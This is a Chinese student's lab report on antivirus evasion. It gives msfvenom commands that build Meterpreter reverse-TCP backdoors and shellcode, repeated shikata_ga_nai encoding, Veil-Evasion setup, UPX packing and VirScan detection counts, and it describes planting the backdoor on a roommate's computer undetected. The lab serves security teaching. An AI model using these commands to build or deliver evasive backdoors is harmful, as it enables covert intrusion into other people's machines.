20155223 Exp3 免杀原理与实践 实验报告

实验前准备

安装Veil-Evasion

  • 直接使用Kali快速安装命令,拒绝采用git安装命令
    apt-get -y install veil-evasion
    veil --setup
  • 启动Veil
    在生成的文档Veil里开启终端,输入命令veil。
    之前没人告诉我,启动Veil是在生成的Veil文件夹里启动,而不是在外面直接输入命令启动,让我耗费一个白天在更新Kail源、换Veil版本等不相干事件上。

正式实验

用VirScan来检测后门

  • 重命名Exp2中生成的后门可执行文件为backdoor_su.exe,让其接受VirScan的审判
    VirScan包含有39个国内外杀毒软件(不包含360安全卫士),其检测结果可信度较高。
    不能使用原命名文件,若使用,VirScan会以“可疑广告文件”为由拒绝扫描。

19个报错。

  • 重复编码
    输入命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=[数据删除] LPORT=443 -f exe > notBackdoor.exe
    收获结果:

还是有19个报错,而且还是相同的查杀软件。
可以肯定的是,多次编码并没有掩盖到源码的特征码,或是多次编码的次数使得特征码掩盖又出现了。

shellcode后门生成

  • 输入命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=[数据删除] LPORT=443 -f c
    获得生成shellcode[数据删除]
    将获得的码贴入到宿主机上的VS中,编译出一个全新的后门程序(宿主机防护以关闭)。
    程序运行中:

    Kali监听:

和实验二的结果一致。

  • 将产生的后门交给VirScan审判。
    判决结果:

8个报错。

shellcode多次编译

  • 输入命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai x86/bloxer -i 13 LHOST=[数据删除] LPORT=443 -f c
    重复上一个操作。
    仍然可以使用:

    VirScan审判结果:

5个报错,被初步认定是后门。

陷害室友传输后门验证免杀效果

  • 在两台电脑可以互相ping通的条件下,向受害主机发送后门。
  • 受害主机开启QQ电脑管家全程监控,没反应。
  • 免杀成功(仅针对版本12.9.19161.223)
    证据:

    Veil-Evasion使用

  • 根据教程启动Veil。

    建立出来的程序在var/lib下,找到、逮捕、交给VirScan。

    6个报错,不知道是不是哪里我搞错了。

加壳

  • 对shellcode多次编码编译出来的后门进行加壳。
    加壳程序为upx。
    考虑到upx已经成为杀毒软件众矢之的,因此我对本次操作期望不高,只要报错的软件个数还个位数我就去蹦极很高兴。

我就知道!

基础问题回答

杀软是如何检测出恶意代码的?

看代码堆里面是否存在恶意代码的特征,若出现特征码,杀毒软件就会清理可疑代码。

免杀是做什么?

掩盖特征码。

免杀的基本方法有哪些?

加壳(主流的加壳软件就别想,肯定早就被盯上了)、逆序特征码、异或特征码。

实验感想

即使是很明显的后门特征出现,也会有杀毒软件不报错。出现这种情况,我一般认为是软件的病毒库没更新,但是我看见有2018.4.6更新病毒库的杀毒软件也没有报错,我后背一阵发凉。
要想保证电脑能够接近100%地探测后门,我看还是给电脑安装一个专司杀毒的AI吧。
SCP-079

20155223 Exp3 免杀原理与实践 实验报告的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  2. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  3. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  4. 20155226《网络攻防》 Exp3 免杀原理与实践

    20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...

  5. 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践

    20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...

  6. 20155302《网络对抗》Exp3 免杀原理与实践

    20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...

  7. 20155338《网络对抗》Exp3 免杀原理与实践

    20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...

  8. 2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5 20165233

    Exp3 免杀原理与实践 实验内容 一.基础问题回答 1.杀软是如何检测出恶意代码的? 基于特征码的检测:通过与自己软件中病毒的特征库比对来检测的. 启发式的软件检测:就是根据些片面特征去推断.通常是 ...

随机推荐

  1. 如何扩展Linux虚拟内存文件系统

    由于ArcGIS GeoAnalystics Server和Raster Analytics Server大数据分析平台都是基于Spark分析平台的,其部署服务器除了要求具有高内存特点外,也需要确保相 ...

  2. JDK8下maven使用maven-javadoc-plugin插件报错

    由于JDK8的doc生成机制比之前的要严谨许多,导致项目用maven打包的时候出错 解决办法: 添加-Xdoclint:none配置 完整配置如下:   <plugin> <grou ...

  3. Flutter之搜索电影

    搜索使用的是豆瓣电影API https://developers.douban.com/wiki/?title=movie_v2#subject 效果 代码: https://github.com/z ...

  4. autocad视图汇报,像ppt那样汇报

    在大部分场景中,工程师可以用cad进行汇报,避免去做PPT,浪费时间,ppt一般都是用一次就丢弃.而工程师对于设计的中间汇报,或三维bim汇报,评审汇报,展示汇报等,都可以直接用cad软件,方法是用视 ...

  5. 声明元素<%! %>、Scriptlet元素<% %>、表达式元素<%= %>、注释元素、输出特殊符号<%和%>

    声明元素 <%! 类成员声明或方法声明 %> 在声明元素中编写的代码,将转译为Servlet中的类成员或方法. 重新定义jspInit()方法,或是在jspDestroy(),就是在声明元 ...

  6. 【Zookeeper】Zookeeper集群单节点提供服务

    以下只在特殊情况下使用,不要用在生产环境. 一.问题背景 公司的产品使用Zookeeper做为集群支持,但是客户在验收的时候提出了一个很为难人的要求,那就是3台集群服务,停止2台以后,还要求我们的应用 ...

  7. Prometheus Node_exporter 详解

    Basic CPU / Mem / Disk Info https://www.cnblogs.com/qianyuliang/p/10479515.html Basic CPU / Mem / Di ...

  8. c#中(&&,||)与(&,|)的区别和应用

    对于(&&,||),运算的对象是逻辑值,也就是True/False &&相当与中文的并且,||相当于中文的或者 .(叫做逻辑运算符又叫短路运算符) 运算结果只有下列四种 ...

  9. Oracle EBS OPM 发放生产批

    --发放生产批 --created by jenrry DECLARE x_return_status VARCHAR2 (1); l_exception_material_tbl gme_commo ...

  10. QT学习2

    一.常用控件与常用的功能函数.  QDialog.QMainWindow.QPushButton.QLabel.QLineEdit 构造函数指定父容器.setText,getText,size,res ...